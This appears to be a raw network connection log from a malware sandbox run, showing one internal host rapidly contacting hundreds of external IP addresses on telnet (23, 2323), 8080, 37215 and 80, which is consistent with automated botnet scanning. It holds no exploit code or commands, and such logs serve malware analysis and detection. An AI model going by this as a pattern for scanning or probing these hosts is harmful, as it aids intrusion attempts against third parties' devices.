Mar 4, 2024 15:05:32.161664009 CET	47577	8080	192.168.2.13	94.163.234.78
Mar 4, 2024 15:05:32.161675930 CET	47577	8080	192.168.2.13	95.243.157.206
Mar 4, 2024 15:05:32.161675930 CET	50393	23	192.168.2.13	194.94.4.28
Mar 4, 2024 15:05:32.161676884 CET	50393	23	192.168.2.13	178.164.247.187
Mar 4, 2024 15:05:32.161675930 CET	47577	8080	192.168.2.13	95.87.192.213
Mar 4, 2024 15:05:32.161676884 CET	50393	23	192.168.2.13	18.213.108.154
Mar 4, 2024 15:05:32.161675930 CET	47577	8080	192.168.2.13	85.152.1.36
Mar 4, 2024 15:05:32.161678076 CET	50393	23	192.168.2.13	116.105.9.195
Mar 4, 2024 15:05:32.161675930 CET	50393	23	192.168.2.13	104.65.159.232
Mar 4, 2024 15:05:32.161678076 CET	50393	23	192.168.2.13	147.204.225.106
Mar 4, 2024 15:05:32.161675930 CET	50393	23	192.168.2.13	40.78.186.192
Mar 4, 2024 15:05:32.161678076 CET	50393	23	192.168.2.13	197.73.198.167
Mar 4, 2024 15:05:32.161675930 CET	50393	23	192.168.2.13	70.202.96.26
Mar 4, 2024 15:05:32.161678076 CET	47577	8080	192.168.2.13	85.120.240.156
Mar 4, 2024 15:05:32.161676884 CET	50393	23	192.168.2.13	175.98.223.163
Mar 4, 2024 15:05:32.161678076 CET	50393	23	192.168.2.13	152.2.185.27
Mar 4, 2024 15:05:32.161684990 CET	50393	23	192.168.2.13	4.86.194.31
Mar 4, 2024 15:05:32.161678076 CET	50393	23	192.168.2.13	51.177.58.25
Mar 4, 2024 15:05:32.161684990 CET	47577	8080	192.168.2.13	85.172.250.53
Mar 4, 2024 15:05:32.161685944 CET	50393	2323	192.168.2.13	157.229.90.193
Mar 4, 2024 15:05:32.161685944 CET	50393	23	192.168.2.13	145.162.101.240
Mar 4, 2024 15:05:32.161685944 CET	47577	8080	192.168.2.13	94.26.22.216
Mar 4, 2024 15:05:32.161685944 CET	50393	23	192.168.2.13	110.218.126.85
Mar 4, 2024 15:05:32.161685944 CET	47577	8080	192.168.2.13	94.223.244.34
Mar 4, 2024 15:05:32.161685944 CET	47577	8080	192.168.2.13	62.45.240.107
Mar 4, 2024 15:05:32.161700964 CET	47577	8080	192.168.2.13	94.80.189.37
Mar 4, 2024 15:05:32.161700964 CET	47577	8080	192.168.2.13	94.64.17.104
Mar 4, 2024 15:05:32.161700964 CET	47577	8080	192.168.2.13	31.96.253.150
Mar 4, 2024 15:05:32.161700964 CET	47577	8080	192.168.2.13	31.83.86.10
Mar 4, 2024 15:05:32.161700964 CET	47577	8080	192.168.2.13	94.50.200.21
Mar 4, 2024 15:05:32.161770105 CET	47577	8080	192.168.2.13	85.160.146.198
Mar 4, 2024 15:05:32.161770105 CET	47577	8080	192.168.2.13	62.158.188.216
Mar 4, 2024 15:05:32.161770105 CET	47577	8080	192.168.2.13	94.17.115.8
Mar 4, 2024 15:05:32.161770105 CET	47577	8080	192.168.2.13	95.36.138.40
Mar 4, 2024 15:05:32.161770105 CET	47577	8080	192.168.2.13	31.110.26.68
Mar 4, 2024 15:05:32.161770105 CET	50393	23	192.168.2.13	142.180.6.27
Mar 4, 2024 15:05:32.161770105 CET	47577	8080	192.168.2.13	31.30.240.63
Mar 4, 2024 15:05:32.161770105 CET	47577	8080	192.168.2.13	31.172.74.127
Mar 4, 2024 15:05:32.161777973 CET	50393	23	192.168.2.13	107.63.39.89
Mar 4, 2024 15:05:32.161777973 CET	50393	23	192.168.2.13	149.69.143.138
Mar 4, 2024 15:05:32.161777973 CET	50393	23	192.168.2.13	162.245.182.37
Mar 4, 2024 15:05:32.161777973 CET	50393	23	192.168.2.13	57.128.204.159
Mar 4, 2024 15:05:32.161778927 CET	50393	2323	192.168.2.13	190.166.178.159
Mar 4, 2024 15:05:32.161782026 CET	50393	23	192.168.2.13	111.195.168.150
Mar 4, 2024 15:05:32.161778927 CET	50393	23	192.168.2.13	1.8.112.95
Mar 4, 2024 15:05:32.161782026 CET	50393	23	192.168.2.13	95.60.253.12
Mar 4, 2024 15:05:32.161778927 CET	47577	8080	192.168.2.13	62.241.175.42
Mar 4, 2024 15:05:32.161782026 CET	50393	23	192.168.2.13	51.6.151.171
Mar 4, 2024 15:05:32.161778927 CET	47577	8080	192.168.2.13	85.239.233.246
Mar 4, 2024 15:05:32.161782026 CET	47577	8080	192.168.2.13	62.38.22.41
Mar 4, 2024 15:05:32.161782026 CET	47577	8080	192.168.2.13	31.246.12.8
Mar 4, 2024 15:05:32.161782026 CET	50393	23	192.168.2.13	108.204.250.244
Mar 4, 2024 15:05:32.161782026 CET	47577	8080	192.168.2.13	94.245.178.251
Mar 4, 2024 15:05:32.161782026 CET	50393	2323	192.168.2.13	168.89.62.211
Mar 4, 2024 15:05:32.161866903 CET	50393	23	192.168.2.13	166.50.234.201
Mar 4, 2024 15:05:32.161866903 CET	47577	8080	192.168.2.13	95.173.178.117
Mar 4, 2024 15:05:32.161866903 CET	47577	8080	192.168.2.13	85.40.200.14
Mar 4, 2024 15:05:32.161866903 CET	50393	23	192.168.2.13	46.45.125.150
Mar 4, 2024 15:05:32.161866903 CET	50393	23	192.168.2.13	102.143.23.223
Mar 4, 2024 15:05:32.161866903 CET	47577	8080	192.168.2.13	95.204.49.101
Mar 4, 2024 15:05:32.161866903 CET	47577	8080	192.168.2.13	85.25.140.45
Mar 4, 2024 15:05:32.161866903 CET	47577	8080	192.168.2.13	62.29.205.90
Mar 4, 2024 15:05:32.161878109 CET	47577	8080	192.168.2.13	62.155.42.24
Mar 4, 2024 15:05:32.161878109 CET	50393	23	192.168.2.13	119.39.11.226
Mar 4, 2024 15:05:32.161878109 CET	50393	23	192.168.2.13	159.102.189.56
Mar 4, 2024 15:05:32.161878109 CET	50393	23	192.168.2.13	89.191.90.166
Mar 4, 2024 15:05:32.161878109 CET	47577	8080	192.168.2.13	94.179.216.64
Mar 4, 2024 15:05:32.161880970 CET	50393	2323	192.168.2.13	2.34.252.221
Mar 4, 2024 15:05:32.161878109 CET	47577	8080	192.168.2.13	95.115.147.38
Mar 4, 2024 15:05:32.161880970 CET	50393	2323	192.168.2.13	151.240.152.119
Mar 4, 2024 15:05:32.161878109 CET	50393	23	192.168.2.13	69.34.100.64
Mar 4, 2024 15:05:32.161880970 CET	47577	8080	192.168.2.13	31.115.89.142
Mar 4, 2024 15:05:32.161878109 CET	47577	8080	192.168.2.13	31.57.132.2
Mar 4, 2024 15:05:32.161881924 CET	50393	23	192.168.2.13	186.118.247.157
Mar 4, 2024 15:05:32.161881924 CET	47577	8080	192.168.2.13	62.21.74.151
Mar 4, 2024 15:05:32.161881924 CET	47577	8080	192.168.2.13	95.236.94.69
Mar 4, 2024 15:05:32.161881924 CET	47577	8080	192.168.2.13	95.126.61.32
Mar 4, 2024 15:05:32.161881924 CET	47577	8080	192.168.2.13	31.12.75.15
Mar 4, 2024 15:05:32.161998034 CET	47577	8080	192.168.2.13	95.111.127.62
Mar 4, 2024 15:05:32.161998034 CET	47577	8080	192.168.2.13	31.52.158.72
Mar 4, 2024 15:05:32.161998034 CET	50393	2323	192.168.2.13	150.91.252.187
Mar 4, 2024 15:05:32.161998034 CET	47577	8080	192.168.2.13	95.162.112.165
Mar 4, 2024 15:05:32.161998034 CET	47577	8080	192.168.2.13	62.219.107.252
Mar 4, 2024 15:05:32.162002087 CET	50393	23	192.168.2.13	20.190.30.27
Mar 4, 2024 15:05:32.161998034 CET	47577	8080	192.168.2.13	95.14.109.117
Mar 4, 2024 15:05:32.161998034 CET	50393	23	192.168.2.13	5.159.249.191
Mar 4, 2024 15:05:32.162002087 CET	47577	8080	192.168.2.13	85.232.210.252
Mar 4, 2024 15:05:32.161998987 CET	50393	23	192.168.2.13	161.252.92.238
Mar 4, 2024 15:05:32.162002087 CET	50393	23	192.168.2.13	150.219.35.201
Mar 4, 2024 15:05:32.162003040 CET	50393	23	192.168.2.13	151.69.10.39
Mar 4, 2024 15:05:32.162003040 CET	50393	23	192.168.2.13	141.126.204.128
Mar 4, 2024 15:05:32.162003040 CET	47577	8080	192.168.2.13	62.187.121.161
Mar 4, 2024 15:05:32.162003040 CET	47577	8080	192.168.2.13	94.252.38.151
Mar 4, 2024 15:05:32.162008047 CET	50393	23	192.168.2.13	113.37.94.249
Mar 4, 2024 15:05:32.162003040 CET	47577	8080	192.168.2.13	62.62.215.22
Mar 4, 2024 15:05:32.162008047 CET	47577	8080	192.168.2.13	31.139.239.10
Mar 4, 2024 15:05:32.162008047 CET	50393	23	192.168.2.13	60.198.4.152
Mar 4, 2024 15:05:32.162009001 CET	47577	8080	192.168.2.13	62.21.100.19
Mar 4, 2024 15:05:32.162009001 CET	47577	8080	192.168.2.13	62.99.16.180
Mar 4, 2024 15:05:32.162009001 CET	47577	8080	192.168.2.13	95.209.21.12
Mar 4, 2024 15:05:32.162009001 CET	47577	8080	192.168.2.13	85.98.191.35
Mar 4, 2024 15:05:32.162009001 CET	47577	8080	192.168.2.13	85.158.139.194
Mar 4, 2024 15:05:32.162090063 CET	47577	8080	192.168.2.13	62.93.96.100
Mar 4, 2024 15:05:32.162090063 CET	50393	23	192.168.2.13	124.36.107.5
Mar 4, 2024 15:05:32.162090063 CET	47577	8080	192.168.2.13	95.116.114.81
Mar 4, 2024 15:05:32.162090063 CET	47577	8080	192.168.2.13	85.77.156.205
Mar 4, 2024 15:05:32.162090063 CET	50393	23	192.168.2.13	41.37.31.57
Mar 4, 2024 15:05:32.162090063 CET	47577	8080	192.168.2.13	85.216.170.0
Mar 4, 2024 15:05:32.162090063 CET	47577	8080	192.168.2.13	62.110.120.216
Mar 4, 2024 15:05:32.162090063 CET	47577	8080	192.168.2.13	62.34.161.187
Mar 4, 2024 15:05:32.162100077 CET	47577	8080	192.168.2.13	31.202.114.89
Mar 4, 2024 15:05:32.162100077 CET	47577	8080	192.168.2.13	94.211.224.78
Mar 4, 2024 15:05:32.162101030 CET	47577	8080	192.168.2.13	62.178.14.173
Mar 4, 2024 15:05:32.162101030 CET	47577	8080	192.168.2.13	85.214.194.132
Mar 4, 2024 15:05:32.162101030 CET	47577	8080	192.168.2.13	85.87.45.178
Mar 4, 2024 15:05:32.162101030 CET	47577	8080	192.168.2.13	31.252.8.56
Mar 4, 2024 15:05:32.162101030 CET	47577	8080	192.168.2.13	31.179.226.105
Mar 4, 2024 15:05:32.162101030 CET	47577	8080	192.168.2.13	31.82.23.246
Mar 4, 2024 15:05:32.162106991 CET	47577	8080	192.168.2.13	85.116.211.100
Mar 4, 2024 15:05:32.162106991 CET	47577	8080	192.168.2.13	62.74.197.151
Mar 4, 2024 15:05:32.162106991 CET	47577	8080	192.168.2.13	94.33.6.134
Mar 4, 2024 15:05:32.162106991 CET	47577	8080	192.168.2.13	94.218.56.156
Mar 4, 2024 15:05:32.162106991 CET	47577	8080	192.168.2.13	62.72.6.94
Mar 4, 2024 15:05:32.162107944 CET	47577	8080	192.168.2.13	94.62.153.239
Mar 4, 2024 15:05:32.162107944 CET	47577	8080	192.168.2.13	31.24.56.82
Mar 4, 2024 15:05:32.162107944 CET	47577	8080	192.168.2.13	95.184.56.186
Mar 4, 2024 15:05:32.162172079 CET	47577	8080	192.168.2.13	95.242.234.140
Mar 4, 2024 15:05:32.162172079 CET	47577	8080	192.168.2.13	62.158.67.151
Mar 4, 2024 15:05:32.162172079 CET	47577	8080	192.168.2.13	85.56.208.66
Mar 4, 2024 15:05:32.162172079 CET	47577	8080	192.168.2.13	95.153.147.197
Mar 4, 2024 15:05:32.162172079 CET	47577	8080	192.168.2.13	85.174.5.15
Mar 4, 2024 15:05:32.162172079 CET	47577	8080	192.168.2.13	85.192.135.105
Mar 4, 2024 15:05:32.162172079 CET	47577	8080	192.168.2.13	85.157.32.121
Mar 4, 2024 15:05:32.162172079 CET	47577	8080	192.168.2.13	62.74.36.243
Mar 4, 2024 15:05:32.162193060 CET	47577	8080	192.168.2.13	31.246.20.3
Mar 4, 2024 15:05:32.162193060 CET	47577	8080	192.168.2.13	31.255.244.175
Mar 4, 2024 15:05:32.162194967 CET	47577	8080	192.168.2.13	62.229.56.234
Mar 4, 2024 15:05:32.162194014 CET	47577	8080	192.168.2.13	95.43.8.79
Mar 4, 2024 15:05:32.162194967 CET	47577	8080	192.168.2.13	94.108.254.94
Mar 4, 2024 15:05:32.162194014 CET	47577	8080	192.168.2.13	94.220.9.166
Mar 4, 2024 15:05:32.162194967 CET	47577	8080	192.168.2.13	95.209.4.215
Mar 4, 2024 15:05:32.162194014 CET	47577	8080	192.168.2.13	85.208.203.17
Mar 4, 2024 15:05:32.162194967 CET	47577	8080	192.168.2.13	62.37.2.95
Mar 4, 2024 15:05:32.162194014 CET	47577	8080	192.168.2.13	95.248.88.164
Mar 4, 2024 15:05:32.162195921 CET	47577	8080	192.168.2.13	85.75.91.150
Mar 4, 2024 15:05:32.162194014 CET	47577	8080	192.168.2.13	95.39.40.154
Mar 4, 2024 15:05:32.162195921 CET	47577	8080	192.168.2.13	85.88.251.236
Mar 4, 2024 15:05:32.162194014 CET	47577	8080	192.168.2.13	95.59.13.180
Mar 4, 2024 15:05:32.162195921 CET	47577	8080	192.168.2.13	95.40.63.234
Mar 4, 2024 15:05:32.162195921 CET	47577	8080	192.168.2.13	85.71.25.149
Mar 4, 2024 15:05:32.162260056 CET	47577	8080	192.168.2.13	62.212.149.178
Mar 4, 2024 15:05:32.162260056 CET	47577	8080	192.168.2.13	62.28.7.252
Mar 4, 2024 15:05:32.162261009 CET	47577	8080	192.168.2.13	31.144.150.25
Mar 4, 2024 15:05:32.162261009 CET	47577	8080	192.168.2.13	95.29.102.159
Mar 4, 2024 15:05:32.162261009 CET	47577	8080	192.168.2.13	31.28.81.233
Mar 4, 2024 15:05:32.162261009 CET	47577	8080	192.168.2.13	62.195.125.18
Mar 4, 2024 15:05:32.162261009 CET	47577	8080	192.168.2.13	94.193.146.48
Mar 4, 2024 15:05:32.162261009 CET	47577	8080	192.168.2.13	85.33.142.77
Mar 4, 2024 15:05:32.162286043 CET	47577	8080	192.168.2.13	31.241.45.50
Mar 4, 2024 15:05:32.162286997 CET	47577	8080	192.168.2.13	62.124.70.122
Mar 4, 2024 15:05:32.162286997 CET	47577	8080	192.168.2.13	94.176.95.229
Mar 4, 2024 15:05:32.162286997 CET	47577	8080	192.168.2.13	31.207.225.50
Mar 4, 2024 15:05:32.162286997 CET	47577	8080	192.168.2.13	62.108.17.100
Mar 4, 2024 15:05:32.162291050 CET	47577	8080	192.168.2.13	31.71.148.156
Mar 4, 2024 15:05:32.162286997 CET	47577	8080	192.168.2.13	95.197.126.61
Mar 4, 2024 15:05:32.162291050 CET	47577	8080	192.168.2.13	94.189.91.206
Mar 4, 2024 15:05:32.162286997 CET	47577	8080	192.168.2.13	62.133.225.221
Mar 4, 2024 15:05:32.162291050 CET	47577	8080	192.168.2.13	31.245.253.83
Mar 4, 2024 15:05:32.162286997 CET	47577	8080	192.168.2.13	95.108.4.31
Mar 4, 2024 15:05:32.162291050 CET	47577	8080	192.168.2.13	31.250.79.74
Mar 4, 2024 15:05:32.162291050 CET	47577	8080	192.168.2.13	62.91.223.37
Mar 4, 2024 15:05:32.162292004 CET	47577	8080	192.168.2.13	95.159.68.44
Mar 4, 2024 15:05:32.162292004 CET	47577	8080	192.168.2.13	95.85.71.232
Mar 4, 2024 15:05:32.162292004 CET	47577	8080	192.168.2.13	62.215.181.87
Mar 4, 2024 15:05:32.162344933 CET	47577	8080	192.168.2.13	85.164.197.194
Mar 4, 2024 15:05:32.162344933 CET	47577	8080	192.168.2.13	31.202.125.243
Mar 4, 2024 15:05:32.162345886 CET	47577	8080	192.168.2.13	95.152.214.123
Mar 4, 2024 15:05:32.162345886 CET	47577	8080	192.168.2.13	85.239.221.125
Mar 4, 2024 15:05:32.162345886 CET	47577	8080	192.168.2.13	31.123.244.31
Mar 4, 2024 15:05:32.162345886 CET	47577	8080	192.168.2.13	31.143.30.230
Mar 4, 2024 15:05:32.162345886 CET	47577	8080	192.168.2.13	94.233.181.230
Mar 4, 2024 15:05:32.162345886 CET	47577	8080	192.168.2.13	31.73.121.240
Mar 4, 2024 15:05:32.162384033 CET	47577	8080	192.168.2.13	95.228.7.131
Mar 4, 2024 15:05:32.162383080 CET	47577	8080	192.168.2.13	31.202.142.62
Mar 4, 2024 15:05:32.162384033 CET	47577	8080	192.168.2.13	31.51.82.45
Mar 4, 2024 15:05:32.162384033 CET	47577	8080	192.168.2.13	31.79.135.219
Mar 4, 2024 15:05:32.162384033 CET	47577	8080	192.168.2.13	94.21.35.50
Mar 4, 2024 15:05:32.162384033 CET	47577	8080	192.168.2.13	95.75.254.38
Mar 4, 2024 15:05:32.162384033 CET	47577	8080	192.168.2.13	62.87.59.114
Mar 4, 2024 15:05:32.162384033 CET	47577	8080	192.168.2.13	62.111.178.22
Mar 4, 2024 15:05:32.162384033 CET	47577	8080	192.168.2.13	95.90.211.98
Mar 4, 2024 15:05:32.162426949 CET	47577	8080	192.168.2.13	31.29.111.148
Mar 4, 2024 15:05:32.162426949 CET	47577	8080	192.168.2.13	62.78.50.184
Mar 4, 2024 15:05:32.162426949 CET	47577	8080	192.168.2.13	94.67.145.54
Mar 4, 2024 15:05:32.162426949 CET	47577	8080	192.168.2.13	31.151.254.75
Mar 4, 2024 15:05:32.259699106 CET	8080	47577	85.142.248.177	192.168.2.13
Mar 4, 2024 15:05:32.259864092 CET	8080	47577	85.153.120.143	192.168.2.13
Mar 4, 2024 15:05:32.364571095 CET	37215	47833	41.47.61.155	192.168.2.13
Mar 4, 2024 15:05:32.384932995 CET	8080	47577	62.38.22.41	192.168.2.13
Mar 4, 2024 15:05:32.443157911 CET	80	48089	112.168.176.223	192.168.2.13
Mar 4, 2024 15:05:32.443229914 CET	80	48089	112.182.133.1	192.168.2.13
Mar 4, 2024 15:05:32.443348885 CET	48089	80	192.168.2.13	112.168.176.223
Mar 4, 2024 15:05:32.454451084 CET	80	48089	112.144.198.47	192.168.2.13
Mar 4, 2024 15:05:32.460639000 CET	37215	47833	41.23.253.80	192.168.2.13
Mar 4, 2024 15:05:32.473402023 CET	80	48089	112.200.29.67	192.168.2.13
Mar 4, 2024 15:05:32.476289988 CET	37215	47833	41.72.207.110	192.168.2.13
Mar 4, 2024 15:05:32.479054928 CET	80	48089	112.205.206.81	192.168.2.13
Mar 4, 2024 15:05:33.149692059 CET	47833	37215	192.168.2.13	41.143.253.237
Mar 4, 2024 15:05:33.149692059 CET	47833	37215	192.168.2.13	41.104.20.156
Mar 4, 2024 15:05:33.149694920 CET	47833	37215	192.168.2.13	41.119.138.109
Mar 4, 2024 15:05:33.149692059 CET	47833	37215	192.168.2.13	41.228.40.114
Mar 4, 2024 15:05:33.149692059 CET	47833	37215	192.168.2.13	41.56.171.38
Mar 4, 2024 15:05:33.149694920 CET	47833	37215	192.168.2.13	41.192.2.43
Mar 4, 2024 15:05:33.149692059 CET	47833	37215	192.168.2.13	41.241.2.77
Mar 4, 2024 15:05:33.149694920 CET	47833	37215	192.168.2.13	41.76.87.84
Mar 4, 2024 15:05:33.149694920 CET	47833	37215	192.168.2.13	41.188.212.135
Mar 4, 2024 15:05:33.149698973 CET	47833	37215	192.168.2.13	41.32.248.44
Mar 4, 2024 15:05:33.149698973 CET	47833	37215	192.168.2.13	41.253.161.213
Mar 4, 2024 15:05:33.149698973 CET	47833	37215	192.168.2.13	41.52.171.216
Mar 4, 2024 15:05:33.149708986 CET	47833	37215	192.168.2.13	41.7.126.221
Mar 4, 2024 15:05:33.149708033 CET	47833	37215	192.168.2.13	41.89.113.215
Mar 4, 2024 15:05:33.149708986 CET	47833	37215	192.168.2.13	41.63.128.152
Mar 4, 2024 15:05:33.149708986 CET	47833	37215	192.168.2.13	41.196.113.47
Mar 4, 2024 15:05:33.149708986 CET	47833	37215	192.168.2.13	41.120.188.80
Mar 4, 2024 15:05:33.149708033 CET	47833	37215	192.168.2.13	41.225.70.215
Mar 4, 2024 15:05:33.149708033 CET	47833	37215	192.168.2.13	41.254.185.126
Mar 4, 2024 15:05:33.149815083 CET	47833	37215	192.168.2.13	41.201.221.21
Mar 4, 2024 15:05:33.149838924 CET	47833	37215	192.168.2.13	41.168.148.243
Mar 4, 2024 15:05:33.149838924 CET	47833	37215	192.168.2.13	41.189.22.162
Mar 4, 2024 15:05:33.149838924 CET	47833	37215	192.168.2.13	41.170.243.34
Mar 4, 2024 15:05:33.149883986 CET	47833	37215	192.168.2.13	41.118.183.101
Mar 4, 2024 15:05:33.149883986 CET	47833	37215	192.168.2.13	41.131.110.249
Mar 4, 2024 15:05:33.149883986 CET	47833	37215	192.168.2.13	41.38.3.99
Mar 4, 2024 15:05:33.149883986 CET	47833	37215	192.168.2.13	41.7.196.167
Mar 4, 2024 15:05:33.149883986 CET	47833	37215	192.168.2.13	41.173.196.144
Mar 4, 2024 15:05:33.149909973 CET	47833	37215	192.168.2.13	41.203.243.71
Mar 4, 2024 15:05:33.149909973 CET	47833	37215	192.168.2.13	41.145.224.172
Mar 4, 2024 15:05:33.149909973 CET	47833	37215	192.168.2.13	41.99.101.26
Mar 4, 2024 15:05:33.149909973 CET	47833	37215	192.168.2.13	41.179.169.233
Mar 4, 2024 15:05:33.149909973 CET	47833	37215	192.168.2.13	41.70.172.114
Mar 4, 2024 15:05:33.149909973 CET	47833	37215	192.168.2.13	41.188.91.10
Mar 4, 2024 15:05:33.149910927 CET	47833	37215	192.168.2.13	41.93.181.8
Mar 4, 2024 15:05:33.149919987 CET	47833	37215	192.168.2.13	41.6.164.215
Mar 4, 2024 15:05:33.149919987 CET	47833	37215	192.168.2.13	41.156.48.109
Mar 4, 2024 15:05:33.149919987 CET	47833	37215	192.168.2.13	41.81.242.243
Mar 4, 2024 15:05:33.149919987 CET	47833	37215	192.168.2.13	41.120.182.196
Mar 4, 2024 15:05:33.149919987 CET	47833	37215	192.168.2.13	41.242.92.192
Mar 4, 2024 15:05:33.149919987 CET	47833	37215	192.168.2.13	41.96.166.201
Mar 4, 2024 15:05:33.149919987 CET	47833	37215	192.168.2.13	41.72.146.35
Mar 4, 2024 15:05:33.149919987 CET	47833	37215	192.168.2.13	41.40.86.82
Mar 4, 2024 15:05:33.149924040 CET	47833	37215	192.168.2.13	41.36.186.128
Mar 4, 2024 15:05:33.149924040 CET	47833	37215	192.168.2.13	41.156.134.4
Mar 4, 2024 15:05:33.149924040 CET	47833	37215	192.168.2.13	41.215.106.145
Mar 4, 2024 15:05:33.149924040 CET	47833	37215	192.168.2.13	41.85.173.201
Mar 4, 2024 15:05:33.149924040 CET	47833	37215	192.168.2.13	41.209.23.166
Mar 4, 2024 15:05:33.149924994 CET	47833	37215	192.168.2.13	41.187.173.148
Mar 4, 2024 15:05:33.149931908 CET	47833	37215	192.168.2.13	41.27.40.248
Mar 4, 2024 15:05:33.149931908 CET	47833	37215	192.168.2.13	41.175.51.30
Mar 4, 2024 15:05:33.149931908 CET	47833	37215	192.168.2.13	41.55.206.96
Mar 4, 2024 15:05:33.149931908 CET	47833	37215	192.168.2.13	41.97.130.129
Mar 4, 2024 15:05:33.149931908 CET	47833	37215	192.168.2.13	41.221.10.76
Mar 4, 2024 15:05:33.149931908 CET	47833	37215	192.168.2.13	41.70.199.179
Mar 4, 2024 15:05:33.149931908 CET	47833	37215	192.168.2.13	41.73.252.136
Mar 4, 2024 15:05:33.149935961 CET	47833	37215	192.168.2.13	41.170.231.253
Mar 4, 2024 15:05:33.149939060 CET	47833	37215	192.168.2.13	41.150.46.95
Mar 4, 2024 15:05:33.149939060 CET	47833	37215	192.168.2.13	41.45.70.71
Mar 4, 2024 15:05:33.149936914 CET	47833	37215	192.168.2.13	41.50.104.157
Mar 4, 2024 15:05:33.149936914 CET	47833	37215	192.168.2.13	41.52.187.236
Mar 4, 2024 15:05:33.149936914 CET	47833	37215	192.168.2.13	41.225.105.16
Mar 4, 2024 15:05:33.149936914 CET	47833	37215	192.168.2.13	41.247.78.110
Mar 4, 2024 15:05:33.149936914 CET	47833	37215	192.168.2.13	41.14.142.0
Mar 4, 2024 15:05:33.149947882 CET	47833	37215	192.168.2.13	41.137.61.185
Mar 4, 2024 15:05:33.149947882 CET	47833	37215	192.168.2.13	41.133.41.170
Mar 4, 2024 15:05:33.149947882 CET	47833	37215	192.168.2.13	41.74.244.108
Mar 4, 2024 15:05:33.149947882 CET	47833	37215	192.168.2.13	41.153.132.92
Mar 4, 2024 15:05:33.149949074 CET	47833	37215	192.168.2.13	41.104.211.155
Mar 4, 2024 15:05:33.149949074 CET	47833	37215	192.168.2.13	41.212.192.213
Mar 4, 2024 15:05:33.149949074 CET	47833	37215	192.168.2.13	41.184.21.247
Mar 4, 2024 15:05:33.149949074 CET	47833	37215	192.168.2.13	41.3.144.94
Mar 4, 2024 15:05:33.149967909 CET	47833	37215	192.168.2.13	41.211.159.201
Mar 4, 2024 15:05:33.149967909 CET	47833	37215	192.168.2.13	41.35.77.173
Mar 4, 2024 15:05:33.149967909 CET	47833	37215	192.168.2.13	41.159.244.254
Mar 4, 2024 15:05:33.149967909 CET	47833	37215	192.168.2.13	41.198.191.12
Mar 4, 2024 15:05:33.149985075 CET	47833	37215	192.168.2.13	41.215.175.247
Mar 4, 2024 15:05:33.149985075 CET	47833	37215	192.168.2.13	41.175.124.213
Mar 4, 2024 15:05:33.149985075 CET	47833	37215	192.168.2.13	41.14.222.205
Mar 4, 2024 15:05:33.149985075 CET	47833	37215	192.168.2.13	41.47.207.246
Mar 4, 2024 15:05:33.149985075 CET	47833	37215	192.168.2.13	41.136.112.78
Mar 4, 2024 15:05:33.149995089 CET	47833	37215	192.168.2.13	41.132.178.76
Mar 4, 2024 15:05:33.149995089 CET	47833	37215	192.168.2.13	41.82.69.153
Mar 4, 2024 15:05:33.149995089 CET	47833	37215	192.168.2.13	41.34.209.121
Mar 4, 2024 15:05:33.149995089 CET	47833	37215	192.168.2.13	41.10.220.85
Mar 4, 2024 15:05:33.149995089 CET	47833	37215	192.168.2.13	41.110.11.246
Mar 4, 2024 15:05:33.149996042 CET	47833	37215	192.168.2.13	41.18.160.232
Mar 4, 2024 15:05:33.149996042 CET	47833	37215	192.168.2.13	41.167.188.181
Mar 4, 2024 15:05:33.149996042 CET	47833	37215	192.168.2.13	41.195.62.11
Mar 4, 2024 15:05:33.149996042 CET	47833	37215	192.168.2.13	41.48.88.61
Mar 4, 2024 15:05:33.149996042 CET	47833	37215	192.168.2.13	41.87.185.53
Mar 4, 2024 15:05:33.149996042 CET	47833	37215	192.168.2.13	41.19.233.148
Mar 4, 2024 15:05:33.150019884 CET	47833	37215	192.168.2.13	41.10.94.169
Mar 4, 2024 15:05:33.150064945 CET	47833	37215	192.168.2.13	41.206.228.53
Mar 4, 2024 15:05:33.150064945 CET	47833	37215	192.168.2.13	41.233.41.114
Mar 4, 2024 15:05:33.150064945 CET	47833	37215	192.168.2.13	41.114.99.12
Mar 4, 2024 15:05:33.150067091 CET	47833	37215	192.168.2.13	41.248.183.169
Mar 4, 2024 15:05:33.150064945 CET	47833	37215	192.168.2.13	41.233.88.144
Mar 4, 2024 15:05:33.150068045 CET	47833	37215	192.168.2.13	41.61.24.203
Mar 4, 2024 15:05:33.150067091 CET	47833	37215	192.168.2.13	41.223.208.143
Mar 4, 2024 15:05:33.150064945 CET	47833	37215	192.168.2.13	41.98.226.52
Mar 4, 2024 15:05:33.150067091 CET	47833	37215	192.168.2.13	41.237.147.31
Mar 4, 2024 15:05:33.150068045 CET	47833	37215	192.168.2.13	41.84.182.70
Mar 4, 2024 15:05:33.150064945 CET	47833	37215	192.168.2.13	41.148.148.233
Mar 4, 2024 15:05:33.150068045 CET	47833	37215	192.168.2.13	41.118.128.82
Mar 4, 2024 15:05:33.150064945 CET	47833	37215	192.168.2.13	41.83.131.219
Mar 4, 2024 15:05:33.150074005 CET	47833	37215	192.168.2.13	41.171.237.48
Mar 4, 2024 15:05:33.150064945 CET	47833	37215	192.168.2.13	41.233.190.165
Mar 4, 2024 15:05:33.150074005 CET	47833	37215	192.168.2.13	41.166.140.32
Mar 4, 2024 15:05:33.150074005 CET	47833	37215	192.168.2.13	41.51.232.79
Mar 4, 2024 15:05:33.150074005 CET	47833	37215	192.168.2.13	41.125.45.89
Mar 4, 2024 15:05:33.150074005 CET	47833	37215	192.168.2.13	41.248.7.212
Mar 4, 2024 15:05:33.150083065 CET	47833	37215	192.168.2.13	41.142.72.224
Mar 4, 2024 15:05:33.150083065 CET	47833	37215	192.168.2.13	41.207.62.212
Mar 4, 2024 15:05:33.150083065 CET	47833	37215	192.168.2.13	41.60.31.183
Mar 4, 2024 15:05:33.150101900 CET	47833	37215	192.168.2.13	41.138.223.204
Mar 4, 2024 15:05:33.150103092 CET	47833	37215	192.168.2.13	41.47.178.165
Mar 4, 2024 15:05:33.150103092 CET	47833	37215	192.168.2.13	41.165.182.120
Mar 4, 2024 15:05:33.150103092 CET	47833	37215	192.168.2.13	41.159.75.227
Mar 4, 2024 15:05:33.150103092 CET	47833	37215	192.168.2.13	41.148.11.223
Mar 4, 2024 15:05:33.150103092 CET	47833	37215	192.168.2.13	41.22.187.10
Mar 4, 2024 15:05:33.150103092 CET	47833	37215	192.168.2.13	41.245.239.199
Mar 4, 2024 15:05:33.150103092 CET	47833	37215	192.168.2.13	41.227.46.56
Mar 4, 2024 15:05:33.150103092 CET	47833	37215	192.168.2.13	41.113.30.145
Mar 4, 2024 15:05:33.150103092 CET	47833	37215	192.168.2.13	41.2.210.53
Mar 4, 2024 15:05:33.150103092 CET	47833	37215	192.168.2.13	41.105.127.232
Mar 4, 2024 15:05:33.150103092 CET	47833	37215	192.168.2.13	41.131.246.52
